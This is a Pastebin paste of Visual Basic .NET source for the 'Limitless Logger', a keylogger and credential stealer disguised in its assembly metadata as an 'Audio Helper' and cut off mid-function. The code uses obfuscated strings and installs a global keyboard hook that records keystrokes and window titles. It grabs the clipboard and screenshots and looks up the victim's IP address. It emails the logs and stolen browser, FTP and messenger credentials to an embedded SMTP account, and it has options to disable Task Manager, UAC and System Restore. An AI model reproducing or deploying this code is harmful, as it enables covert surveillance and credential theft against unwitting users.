Advertisement
Guest User

Limitless Logger Source

a guest
Aug 21st, 2012
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.63 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Imports System.Net
  3. Imports System.IO
  4. Imports System.Runtime.InteropServices
  5. Imports System.Text
  6. Imports System.Security.Cryptography
  7. Imports System.Threading
  8. Imports System.Windows.Forms
  9. Imports System.Text.RegularExpressions
  10. Imports Microsoft.Win32
  11. Imports System.Drawing
  12. Imports System
  13. Imports Microsoft.VisualBasic
  14. Imports System.Diagnostics
  15. Imports System.Threading.Thread
  16. Imports System.Windows
  17. Imports System.Reflection
  18. <Assembly: AssemblyTitle("Synth Loader")>
  19. <Assembly: AssemblyDescription("Audio Helper")>
  20. <Assembly: AssemblyCompany("Synth Incorporated")>
  21. <Assembly: AssemblyProduct("Synth Loader")>
  22. <Assembly: AssemblyCopyright("Copyright Synth Incorporated 2010")>
  23. <Assembly: AssemblyTrademark("Trademark Synth Incorporated")>
  24. <Assembly: AssemblyVersion("1.7.0.1")>
  25. <Assembly: AssemblyFileVersion("1.7.0.1")>
  26. <Assembly: Guid("dbfe3852-cce4-4cf6-b4ac-c65e10e014e5")>
  27.  
  28.  
  29. Public Class WLCOME
  30.  
  31. Public Shared Sub Main()
  32.  
  33. Try
  34. System.Diagnostics.Process.GetCurrentProcess.MinWorkingSet = New System.IntPtr(5)
  35. Catch : End Try
  36.  
  37. ''MsgBox("hi")
  38.  
  39. 'DelayExecutionStuff
  40.  
  41. Try
  42. If (Not System.IO.Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("eoatrq+NrLOxsXp7pa6ok6m3pyw=", "False"))) Then
  43. System.IO.Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("eoatrq+NrLOxsXp7pa6ok6m3pyw=", "False"))
  44. End If
  45. If (Not System.IO.Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("kZ3Excakw8rIyJGTzce4mr7Py7Whw7cU", "False"))) Then
  46. System.IO.Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("kZ3Excakw8rIyJGTzce4mr7Py7Whw7cU", "False"))
  47. End If
  48. Catch
  49. End Try
  50. Try
  51. For Each foundFile As String In My.Computer.FileSystem.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("kZ3Excakw8rIyJGTzce4mr7Py7Whw7cU", "False"), FileIO.SearchOption.SearchAllSubDirectories, "*.png*")
  52. File.Delete(foundFile)
  53. Next
  54. For Each foundFilez As String In My.Computer.FileSystem.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("l6PKy8yqydDOzpeYwsvFsMbUxA8=", "False"))
  55. File.Delete(foundFilez)
  56. Next
  57. Catch
  58. End Try
  59.  
  60.  
  61. Dim tries As Integer = 0
  62. 1: Try
  63. If tries = 3 Then
  64. Application.Restart()
  65. End If
  66. LGR = New KHK(ACTLG)
  67. LGR.HOOKE()
  68. Catch
  69. tries = tries + 1
  70. GoTo 1
  71. End Try
  72.  
  73. Try
  74. TThread.IsBackground = True
  75. TThread.Start()
  76. Catch
  77. End Try
  78.  
  79. 'FakeMessageStuff
  80.  
  81. 'MeltStuff2
  82.  
  83. 'VisitSiteStuff
  84.  
  85. 'DLStuff2
  86.  
  87. 'SRCStuff2
  88.  
  89. 'StartStuff2
  90.  
  91. 'ChromeStuff2
  92.  
  93. 'SafariStuff2
  94.  
  95. 'IEStuff2
  96.  
  97. 'OperaStuff2
  98.  
  99. 'RSBotStuff1
  100.  
  101. 'EpicBotStuff1
  102.  
  103. 'RareBotStuff1
  104.  
  105. 'MinecraftStuff1
  106.  
  107. 'BitcoinStuff1
  108.  
  109. 'SpotifyStuff1
  110.  
  111. 'FilezillaStuff1
  112.  
  113. 'IDMStuff2
  114.  
  115. 'CoreFTPStuff2
  116.  
  117. 'NimbuzzStuff2
  118.  
  119. 'PigdinStuff2
  120.  
  121. 'SmartFTPStuff2
  122.  
  123. 'MSNStuff2
  124.  
  125. 'DynStuff2
  126.  
  127. 'ImvuStuff2
  128.  
  129. 'NoipStuff2
  130.  
  131. 'DStuff
  132.  
  133. 'FSL2
  134.  
  135. 'Try
  136. ' If RarSPED = POLDEC.DD1("mNHf1gY=", "False") Then 'RarSPED
  137. ' Dim RarSPEDRec As New DARarSPED.RarSPEDdll
  138. ' Dim RarSPEDThread As New System.Threading.Thread(New System.Threading.ThreadStart(Sub() RarSPEDRec.RSSTRT()))
  139. '
  140. ' RarSPEDThread.Start()
  141. ' End If
  142. 'Catch
  143. 'End Try
  144.  
  145. 'Try
  146. ' If YahooSPED = POLDEC.DD1("mNHf1gY=", "False") Then 'YahooSPED
  147. ' Dim YahooSPEDRec As New DAYahooSPED.YahooSPEDdll
  148. ' Dim YahooSPEDThread As New System.Threading.Thread(New System.Threading.ThreadStart(Sub() YahooSPEDRec.YHOSTRT()))
  149. '
  150. ' YahooSPEDThread.Start()
  151. ' End If
  152. 'Catch
  153. 'End Try
  154. 'Try
  155. ' If MSNSPED = POLDEC.DD1("mNHf1gY=", "False") Then 'MSNSPED
  156. ' Dim MSNSPEDRec As New DAMSNSPED.MSNSPEDdll
  157. ' Dim MSNSPEDThread As New System.Threading.Thread(New System.Threading.ThreadStart(Sub() MSNSPEDRec.MSNSTRT()))
  158. '
  159. ' MSNSPEDThread.Start()
  160. ' End If
  161. 'Catch
  162. 'End Try
  163.  
  164. 'Try
  165. ' If PP2SPED = POLDEC.DD1("mNHf1gY=", "False") Then 'PP2SPED
  166. ' Dim PP2SPEDRec As New DAPP2SPED.PP2SPEDdll
  167. ' Dim PP2SPEDThread As New System.Threading.Thread(New System.Threading.ThreadStart(Sub() PP2SPEDRec.PP2start()))
  168. '
  169. ' PP2SPEDThread.Start()
  170. ' End If
  171. 'Catch
  172. 'End Try
  173.  
  174. 'Try
  175. ' If USBSPED = POLDEC.DD1("mNHf1gY=", "False") Then 'USBSPED
  176. ' Dim USBSPEDRec As New DAUSBSPED.USBSPEDdll
  177. ' Dim USBSPEDThread As New System.Threading.Thread(New System.Threading.ThreadStart(Sub() USBSPEDRec.UBSTRT()))
  178. '
  179. ' USBSPEDThread.Start()
  180. ' End If
  181. 'Catch
  182. 'End Try
  183.  
  184. 'SkypeStuff2
  185.  
  186. Try
  187. STLRSThread.IsBackground = True
  188. STLRSThread.Start()
  189. Catch
  190. End Try
  191.  
  192. 'StealOnlyStuff
  193.  
  194. ''MsgBox("here")
  195.  
  196. Process.GetCurrentProcess().WaitForExit()
  197. End Sub
  198.  
  199. Public Shared Sub WAFO(ByRef secondsz As Double)
  200. Try
  201. Dim Fini As DateTime = Now.AddSeconds(secondsz)
  202. While Now < Fini
  203. Application.DoEvents()
  204. End While
  205. Catch
  206. End Try
  207. End Sub
  208.  
  209. 'SRCStuff1
  210.  
  211. Public Shared Sub LgSndr()
  212. Dim CLPBRDSTR As String
  213. Dim IPSTR As String
  214. Do
  215. System.Threading.Thread.Sleep(SendTime)
  216. ''MsgBox(ACTLG)
  217. CLPBRDSTR = ""
  218. IPSTR = ""
  219.  
  220. Try
  221. If CLPBRD = POLDEC.DD1("mNHf1gY=", "False") Then
  222. CLPBRDSTR = POLDEC.DD1("mpaiqZt8l6Kpm3yXoqmbfJeiqZt8l6Kpm3yXqNjHr7zUzdCjl6Kpm3yXoqmbfJeiqZt8l6Kpm3yXoqmbfJjCCg==", "False") + System.Environment.NewLine + System.Environment.NewLine + My.Computer.Clipboard.GetText + System.Environment.NewLine + System.Environment.NewLine + POLDEC.DD1("mJSgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWhxw0=", "False")
  223. Else
  224. CLPBRDSTR = ""
  225. End If
  226. Catch
  227. End Try
  228. WAFO(0.2)
  229. Try
  230. Dim dawebz As New WebClient
  231. IPSTR = POLDEC.DD1("mJSgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWhxw0=", "False") + System.Environment.NewLine + System.Environment.NewLine + dawebz.DownloadString(POLDEC.DD1("osnU15NphMHczanCwdvCqcOO3sGbycnaxrO+0JW8qcKP1Ylzh5OXkm6KjsjMqg0=", "False")) + System.Environment.NewLine + System.Environment.NewLine + POLDEC.DD1("enaCiXtcd4KJe1x3gol7XHeCiXtcd4KJe1x3gol7XHeCiXtcd4KJe1x3gol7XHeCiXtcd4KJe1x3gol7XHeDqSs=", "False")
  232. Catch
  233. IPSTR = ""
  234. End Try
  235. WAFO(1)
  236. Try
  237. If SNDSCRENSHTS = POLDEC.DD1("mNHf1gY=", "False") Then
  238. Dim dabounds As Rectangle
  239. Dim screenshot As System.Drawing.Bitmap
  240. Dim dagraph As Graphics
  241. Dim Screencatcher As Bitmap
  242. dabounds = Screen.PrimaryScreen.Bounds
  243. screenshot = New System.Drawing.Bitmap(dabounds.Width, dabounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
  244. dagraph = Graphics.FromImage(screenshot)
  245. dagraph.CopyFromScreen(dabounds.X, dabounds.Y, 0, 0, dabounds.Size, CopyPixelOperation.SourceCopy)
  246. Screencatcher = screenshot
  247. Screencatcher.Save(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("j5vCw8SiwcjGxo+Ry8W2mLzNybOfwbXTtaWzvs4X", "False") + number.ToString + POLDEC.DD1("ZsPMzBI=", "False"))
  248. End If
  249. Catch
  250. End Try
  251. WAFO(0.3)
  252. Try
  253. If ACTLG = "" Then
  254. Else
  255. SNDNGLG = POLDEC.DD1("fHiEi31eeYSLfV55hIt9XnmEi31eeYSLfV55hIt9XnmEi31eeYSLYG2rrsFgXnmEi31eeYSLfV55hIt9XnmEi31eeYSLfV55hIt9XnmEi31eeYWrKQ==", "False") + System.Environment.NewLine + System.Environment.NewLine + ACTLG + System.Environment.NewLine + System.Environment.NewLine + IPSTR + System.Environment.NewLine + System.Environment.NewLine + CLPBRDSTR
  256. Dim tries As Integer = 0
  257.  
  258. Try
  259. 2: Dim NEWMAIL As New MailMessage()
  260. With NEWMAIL
  261. .From = New MailAddress(Email)
  262. .To.Add(Email)
  263. .Subject = POLDEC.DD1("cKi3ureQpL3EY3CusXGJlq63i2Mi", "False") & Environment.UserName.ToString & POLDEC.DD1("aQ0=", "False") & Environment.MachineName.ToString
  264. .Body = SNDNGLG
  265. Try
  266. If SNDSCRENSHTS = POLDEC.DD1("mNHf1gY=", "False") Then
  267. Dim attachmentz As New Net.Mail.Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("j5vCw8SiwcjGxo+Ry8W2mLzNybOfwbXTtaWzvs4X", "False") + number.ToString + POLDEC.DD1("ZsPMzBI=", "False"))
  268. .Attachments.Add(attachmentz)
  269. End If
  270. Catch
  271. End Try
  272. End With
  273. Dim smtpn As New SmtpClient(SmtpServer)
  274. With smtpn
  275. .Port = SendPort
  276. .EnableSsl = True
  277. .Credentials = New System.Net.NetworkCredential(Email, EmailPass)
  278. .Send(NEWMAIL)
  279. End With
  280. Catch
  281. If tries = 3 Then
  282. Exit Sub
  283. Else
  284. tries = tries + 1
  285. GoTo 2
  286. End If
  287. End Try
  288.  
  289. 'LogSendPastebin
  290.  
  291. End If
  292. Catch
  293. End Try
  294.  
  295. SNDNGLG = ""
  296. ACTLG = ""
  297. KEZY = ""
  298. number = number + 1
  299. Loop
  300. End Sub
  301.  
  302. Public Shared GCInfo As String
  303. Public Shared CREFTPInfo As String
  304. Public Shared DynDNSInfo As String
  305. Public Shared IDMInfo As String
  306. Public Shared ImvuInfo As String
  307. Public Shared MSNInfo As String
  308. Public Shared NMBZZInfo As String
  309. Public Shared NoipInfo As String
  310. Public Shared IEInfo As String
  311. Public Shared OPRAINF As String
  312. Public Shared PGDNInfo As String
  313. Public Shared SafariPass As String
  314. Public Shared SMRTFTPInfo As String
  315. Public Shared Sub SENDSTLRS()
  316. Dim tries As Integer = 0
  317. Try
  318. Dim VARFileCount As Integer = IO.Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("eoatrq+NrLOxsXp7pa6ok6m3pyw=", POLDEC.DD1("g7nP3cEJ", "False"))).Length
  319. Dim dir1 As New IO.DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("eoatrq+NrLOxsXp7pa6ok6m3pyw=", POLDEC.DD1("g7nP3cEJ", "False")))
  320. Dim dir2 As IO.FileInfo() = dir1.GetFiles()
  321. Dim dir3 As IO.FileInfo
  322. WAFO(25)
  323. Dim StealInfo As String = POLDEC.DD1("lZGdpJZ3kp2klneSnaSWd5KdpJZ3kp2klneSnaSWd5KdpJZ3kp2klneSnaSWd5KdpJZ3krPbvpvBxdnMd5KdpJZ3kp2klneSnaSWd5KdpJZ3kp2klneSnaSWd5KdpJZ3kp2klneSnaSWd5KdpJZ4sg4=", "False") + System.Environment.NewLine + System.Environment.NewLine + GCInfo + System.Environment.NewLine + System.Environment.NewLine + CREFTPInfo + System.Environment.NewLine + System.Environment.NewLine + DynDNSInfo + System.Environment.NewLine + System.Environment.NewLine + IDMInfo + System.Environment.NewLine + System.Environment.NewLine + ImvuInfo + System.Environment.NewLine + System.Environment.NewLine + MSNInfo + System.Environment.NewLine + System.Environment.NewLine + NMBZZInfo + System.Environment.NewLine + System.Environment.NewLine + NoipInfo + System.Environment.NewLine + System.Environment.NewLine + OPRAINF + System.Environment.NewLine + System.Environment.NewLine + PGDNInfo + System.Environment.NewLine + System.Environment.NewLine + SafariPass + System.Environment.NewLine + System.Environment.NewLine + SMRTFTPInfo + System.Environment.NewLine + System.Environment.NewLine + POLDEC.DD1("Z4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo0f", "False")
  324. If GCRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And SafariRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And IERECVRY = POLDEC.DD1("g7nP3cEJ", "False") And OperaRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And IDMRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And CREFTPRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And FilezillaRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And NMBZZRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And PGDNRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And SMRTFTPRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And MSNRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And DynDNSRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And ImvuRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And NoipRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And VARFileCount = 0 Then
  325. Else
  326.  
  327. Try
  328. 2: Dim NEWMAIL As New MailMessage()
  329. With NEWMAIL
  330. .From = New MailAddress(Email)
  331. .To.Add(Email)
  332. .Subject = POLDEC.DD1("YpqprKmClq+2VWmloaShe6OvY3uIoKl9VTA=", "False") & Environment.UserName.ToString & POLDEC.DD1("aQ0=", POLDEC.DD1("g7nP3cEJ", "False")) & Environment.MachineName.ToString
  333. .Body = StealInfo
  334. Try
  335. For Each dir3 In dir2
  336. Dim attachmentzz As New Net.Mail.Attachment(dir3.FullName)
  337. .Attachments.Add(attachmentzz)
  338. Next
  339. Catch
  340. End Try
  341. End With
  342. Dim smtpn As New SmtpClient(SmtpServer)
  343. With smtpn
  344. .Port = SendPort
  345. .EnableSsl = True
  346. .Credentials = New System.Net.NetworkCredential(Email, EmailPass)
  347. .Send(NEWMAIL)
  348. End With
  349. Catch
  350. If tries = 3 Then
  351. Exit Sub
  352. Else
  353. tries = tries + 1
  354. GoTo 2
  355. End If
  356. End Try
  357.  
  358. 'StealSendPastebin
  359.  
  360. End If
  361. Catch
  362. End Try
  363. ''MsgBox("here2")
  364. End Sub
  365.  
  366. 'DLStuff1
  367.  
  368. Public Shared KEZY As String = ""
  369. Public Shared Email As String = POLDEC.DD1("nszA08iluZ/NxZq9y5S7qMEP", "False")
  370. Public Shared EmailPass As String = POLDEC.DD1("qrbT2tCpx8QP", "False")
  371. Public Shared SmtpServer As String = POLDEC.DD1("rsPV2Iiiw8LRxmm50NUP", "False")
  372. Public Shared SendPort As Integer = 587
  373. Public Shared RecordAllStrokes As String = ""
  374. Public Shared RecordCustomStrokes As String = ""
  375. Public Shared CustomStrokes As String = ""
  376. Public Shared GCRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  377. Public Shared SafariRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  378. Public Shared IERECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  379. Public Shared OperaRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  380. Public Shared RSBotRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  381. Public Shared EpicBotRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  382. Public Shared RarebotRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  383. Public Shared MinecraftRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  384. Public Shared BitcoinRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  385. Public Shared SpotifyRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  386. Public Shared IDMRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  387. Public Shared CREFTPRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  388. Public Shared FilezillaRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  389. Public Shared NMBZZRECVRY As String = POLDEC.DD1("USERNMBZZ", "False")
  390. Public Shared PGDNRECVRY As String = POLDEC.DD1("USERPGDN", "False")
  391. Public Shared SMRTFTPRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  392. Public Shared MSNRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  393. Public Shared DynDNSRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  394. Public Shared ImvuRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  395. Public Shared NoipRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
  396. Public Shared DSABLETaskManager As String = POLDEC.DD1("fbPJ17sP", "False")
  397. Public Shared DSABLEdCMD As String = POLDEC.DD1("fbPJ17sP", "False")
  398. Public Shared DSABLERegistry As String = POLDEC.DD1("fbPJ17sP", "False")
  399. Public Shared DSABLEUAC As String = POLDEC.DD1("hbvR38MH", "False")
  400. Public Shared DSABLEFolderOptions As String = POLDEC.DD1("hbvR38MH", "False")
  401. Public Shared DSABLEControlPanel As String = POLDEC.DD1("hbvR38MH", "False")
  402. Public Shared DSABLESystemRestore As String = POLDEC.DD1("hbvR38MH", "False")
  403. Public Shared FRCSTMLGIN As String = POLDEC.DD1("hbvR38MH", "False")
  404. Public Shared CLPBRD As String = POLDEC.DD1("hbvR38MH", "False")
  405. Public Shared DelayExeCTMEion As String = POLDEC.DD1("hbvR38MH", "False")
  406. Public Shared DelayExeCTMEionTime As Integer = 5
  407. Public Shared MeltFile As String = POLDEC.DD1("hbvR38MH", "False")
  408. Public Shared SNDRNCONFIRM As String = POLDEC.DD1("hbvR38MH", "False")
  409. Public Shared VisitSite As String = POLDEC.DD1("hbvR38MH", "False")
  410. Public Shared VisitSiteSite As String = POLDEC.DD1("qdDb3ppwiwc=", "False")
  411. Public Shared DWNLDEX As String = POLDEC.DD1("hbvR38MH", "False")
  412. Public Shared DWNLDEXSite As String = POLDEC.DD1("qdDb3ppwiwc=", "False")
  413. Public Shared FKEMessage As String = POLDEC.DD1("hbvR38MH", "False")
  414. Public Shared FKEMessageType As String = POLDEC.DD1("Bw==", "False")
  415. Public Shared FKEMessageTitle As String = POLDEC.DD1("hc3Y3NF6e5blj3CLn6WQcAc=", "False")
  416. Public Shared FKEMessageBody As String = POLDEC.DD1("mcbW09C50IjCxrTT0dLGtX3L3tauwYjd0LZ91N7Cpn21wqR1j5azrY6LiAc=", "False")
  417. Public Shared STRTUPPERSIS As String = POLDEC.DD1("hbvR38MH", "False")
  418. Public Shared STLONLY As String = POLDEC.DD1("hbvR38MH", "False")
  419. Public Shared SNDSCRENSHTS As String = POLDEC.DD1("hbvR38MH", "False")
  420. Public Shared RARSPED As String = POLDEC.DD1("hbvR38MH", "False")
  421. Public Shared YahooSPED As String = POLDEC.DD1("hbvR38MH", "False")
  422. Public Shared MSNSPED As String = POLDEC.DD1("fbPJ17sPSP", "False")
  423. Public Shared PP2SPED As String = POLDEC.DD1("USERPP2SP", "False")
  424. Public Shared USBSPED As String = POLDEC.DD1("hbvR38MH", "False")
  425. Public Shared SkypeSPED As String = POLDEC.DD1("hbvR38MH", "False")
  426. Public Shared SkypeMessage As String = POLDEC.DD1("hbvR38MH", "False")
  427. Public Shared SendTime As Integer = 1800000
  428. Public Shared SNDNGLG As String = ""
  429. Public Shared ACTLG As String = ""
  430. Public Shared number As Integer = 0
  431. Public Shared LGR As KHK
  432. Public Shared TThread As New Thread(AddressOf LgSndr)
  433. 'ChromeStuff3
  434. Public Shared STLRSThread As New Thread(AddressOf SENDSTLRS)
  435. 'DLStuff3
  436. 'SRCStuff3
  437. 'StartStuff3
  438. 'IDMStuff3
  439. 'CoreFTPStuff3
  440. 'NimbuzzStuff3
  441. 'PigdinStuff3
  442. 'SmartFTPStuff3
  443. 'DynStuff3
  444. 'ImvuStuff3
  445. 'NoipStuff3
  446. 'FSL3
  447. 'SkypeStuff3
  448.  
  449. End Class
  450. Public Class POLDEC
  451. Public Shared Function DD1(Input As String, LTTRHIT As String) As String
  452. Try
  453. Return System.Text.Encoding.UTF8.GetString(DecryptData(Convert.FromBase64String(Input), System.Text.Encoding.UTF8.GetBytes(LTTRHIT)))
  454. Catch : End Try
  455. End Function
  456.  
  457. Public Shared Function DecryptData(Input As Byte(), LTTRHIT As Byte()) As Byte()
  458. Dim Salt As Integer = CInt(Input(Input.Length - 1))
  459. Dim FinVal As Byte() = New Byte(Input.Length - 2) {}
  460. Dim kc As Short = 0
  461. Try
  462. For index As Integer = 0 To Input.Length - 2
  463. If kc >= LTTRHIT.Length Then
  464. kc = 0
  465. End If
  466. If index >= Input.Length - 1 Then
  467. Continue For
  468. End If
  469. FinVal(index) = Convert.ToByte(Input(index) - (FinVal.Length Mod LTTRHIT.Length) - (LTTRHIT(kc)) + Salt)
  470. kc += 1
  471. Next
  472. Return FinVal
  473. Catch
  474. Return FinVal
  475. End Try
  476. End Function
  477. End Class
  478.  
  479. 'CoreFTPStuff1
  480.  
  481. 'DynStuff1
  482.  
  483. 'FSL1
  484.  
  485. 'ChromeStuff1
  486.  
  487. 'IDMStuff1
  488.  
  489.  
  490. Public Class KHK
  491. Dim output As String
  492.  
  493. Public Shared Function GEACWITI(ByVal hWnd As IntPtr) As String
  494. Try
  495. Dim length As Integer
  496. If hWnd.ToInt32 <= 0 Then
  497. Return Nothing
  498. End If
  499. length = GetWindowTextLength(hWnd)
  500. If length = 0 Then
  501. Return Nothing
  502. End If
  503. Dim sb As New StringBuilder(length + 1)
  504. GetWindowText(hWnd, sb, sb.Capacity)
  505. Return sb.ToString().Trim()
  506. Catch
  507. End Try
  508. End Function
  509. Public Shared Function HOKE() As Boolean
  510. Try
  511. Return KEHA <> 0
  512. Catch
  513. End Try
  514. End Function
  515. Public Shared Sub HOOKE()
  516. Try
  517. CAABBAA = New KeyboardHookDelegate(AddressOf KYBRDLCK)
  518. Catch
  519. End Try
  520. Try
  521. KEHA = SetWindowsHookEx(13, CAABBAA, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
  522. Catch
  523. End Try
  524. End Sub
  525. Public Shared Sub UNHOKE()
  526. Try
  527. If (HOKE()) Then
  528. If UnhookWindowsHookEx(KEHA) <> 0 Then
  529. KEHA = 0
  530. End If
  531. End If
  532. Catch
  533. End Try
  534. End Sub
  535. Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
  536. Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KYBRDHOST) As Integer
  537. Private Shared KEHA As IntPtr = 0
  538. Private Shared LACHFOTI As String = ""
  539. Public Structure KYBRDHOST
  540. Public VKCO As Integer
  541. Public SCCO As Integer
  542. Public FLGS As Integer
  543. Public TIEM As Integer
  544. Public DWEXIN As Integer
  545. End Structure
  546. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
  547. Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
  548. Private Shared CAABBAA As KeyboardHookDelegate = Nothing
  549. Public Shared Function KYBRDLCK(ByVal Code As Integer, ByVal WPA As Integer, ByRef LPA As KYBRDHOST) As Integer
  550. Try
  551. Dim CTMEI As String = GEACWITI(GetForegroundWindow())
  552. If CTMEI <> LACHFOTI Then
  553. LACHFOTI = CTMEI
  554. WLCOME.KEZY &= System.Environment.NewLine & POLDEC.DD1("hXOKhHZXcn2EdldyfYR2V3J9hHZXcn2EdldyfYR2V3J9Hw==", "False") + CTMEI + POLDEC.DD1("aoWQl4lqhZCXiWqFkJeJaoWQl4lqhZCXiWqFkJeJd4bADA==", "False") & System.Environment.NewLine & System.Environment.NewLine
  555. End If
  556. Catch : End Try
  557. Try
  558. Dim LTTRHIT As String = ""
  559. If WPA = &H100S Or WPA = &H104 Then
  560. Select Case LPA.VKCO
  561. Case &H30 To &H39
  562. If My.Computer.Keyboard.ShiftKeyDown Then
  563. Dim shiftednumbs As String = POLDEC.DD1("YnynjoNhgIeTgJ98jY6KYYSHlwk=", "False")
  564. Dim Splitted() As String
  565. Splitted = shiftednumbs.Split(POLDEC.DD1("VBM=", "False"))
  566. Select Case LPA.VKCO
  567. Case &H35
  568. LTTRHIT = Splitted(4)
  569. Case &H36
  570. LTTRHIT = Splitted(5)
  571. Case &H37
  572. LTTRHIT = Splitted(6)
  573. Case &H38
  574. LTTRHIT = Splitted(7)
  575. Case &H39
  576. LTTRHIT = Splitted(8)
  577. Case &H30
  578. LTTRHIT = Splitted(9)
  579. Case &H31
  580. LTTRHIT = Splitted(0)
  581. Case &H32
  582. LTTRHIT = Splitted(1)
  583. Case &H33
  584. LTTRHIT = Splitted(2)
  585. Case &H34
  586. LTTRHIT = Splitted(3)
  587. End Select
  588. Else
  589. LTTRHIT = Char.ConvertFromUtf32(LPA.VKCO)
  590. End If
  591. Case &H41 To &H5A
  592. If My.Computer.Keyboard.ShiftKeyDown Then
  593. LTTRHIT = Char.ConvertFromUtf32(LPA.VKCO + 32).ToUpper
  594. Else
  595. LTTRHIT = Char.ConvertFromUtf32(LPA.VKCO + 32).ToLower
  596. End If
  597. Case &H70 To &H87
  598. LTTRHIT = POLDEC.DD1("UaedGA==", "False") & (LPA.VKCO - 111) & POLDEC.DD1("o4EC", "False")
  599. Case &H27
  600. LTTRHIT = POLDEC.DD1("X7WjyX4H", "False")
  601. Case &H28
  602. LTTRHIT = POLDEC.DD1("O5GXpVor", "False")
  603. Case &H25
  604. LTTRHIT = POLDEC.DD1("U6mVvXIT", "False")
  605. Case &H26
  606. LTTRHIT = POLDEC.DD1("SJ6ssmce", "False")
  607. Case &H8
  608. WLCOME.KEZY = WLCOME.KEZY.Substring(0, WLCOME.KEZY.Length - 1)
  609. Case &H20
  610. LTTRHIT = POLDEC.DD1("RyA=", "False")
  611. Case &HA3, &HA2
  612. LTTRHIT = POLDEC.DD1("Vaue0cKpwsrOsVUS", "False")
  613. Case &HA4, &HA5
  614. LTTRHIT = POLDEC.DD1("RJqLvbeBXyQ=", "False")
  615. Case &HD
  616. LTTRHIT = System.Environment.NewLine
  617. Case &H9
  618. LTTRHIT = Char.ConvertFromUtf32(9)
  619. Case &H2E
  620. LTTRHIT = POLDEC.DD1("WrCkzMWXdQ4=", "False")
  621. Case &H1B
  622. LTTRHIT = POLDEC.DD1("S6GWy62IZh0=", "False")
  623. Case &H14
  624. If (Control.IsKeyLocked(Keys.CapsLock)) Then
  625. LTTRHIT = POLDEC.DD1("QpiLkJF1XZSehG1dl5WHf10m", "False")
  626. Else
  627. LTTRHIT = POLDEC.DD1("Q5mMkZJ2XpWfhW5emJ6fQyQ=", "False")
  628. End If
  629. Case &HC0
  630. If My.Computer.Keyboard.ShiftKeyDown Then
  631. LTTRHIT = POLDEC.DD1("vQg=", "False")
  632. Else
  633. LTTRHIT = POLDEC.DD1("lBM=", "False")
  634. End If
  635. Case &HBD
  636. If My.Computer.Keyboard.ShiftKeyDown Then
  637. LTTRHIT = POLDEC.DD1("eC4=", "False")
  638. Else
  639. LTTRHIT = POLDEC.DD1("cAQ=", "False")
  640. End If
  641. Case &HBC
  642. If My.Computer.Keyboard.ShiftKeyDown Then
  643. LTTRHIT = POLDEC.DD1("XCc=", "False")
  644. Else
  645. LTTRHIT = POLDEC.DD1("YhE=", "False")
  646. End If
  647. Case 190
  648. If My.Computer.Keyboard.ShiftKeyDown Then
  649. LTTRHIT = POLDEC.DD1("bRg=", "False")
  650. Else
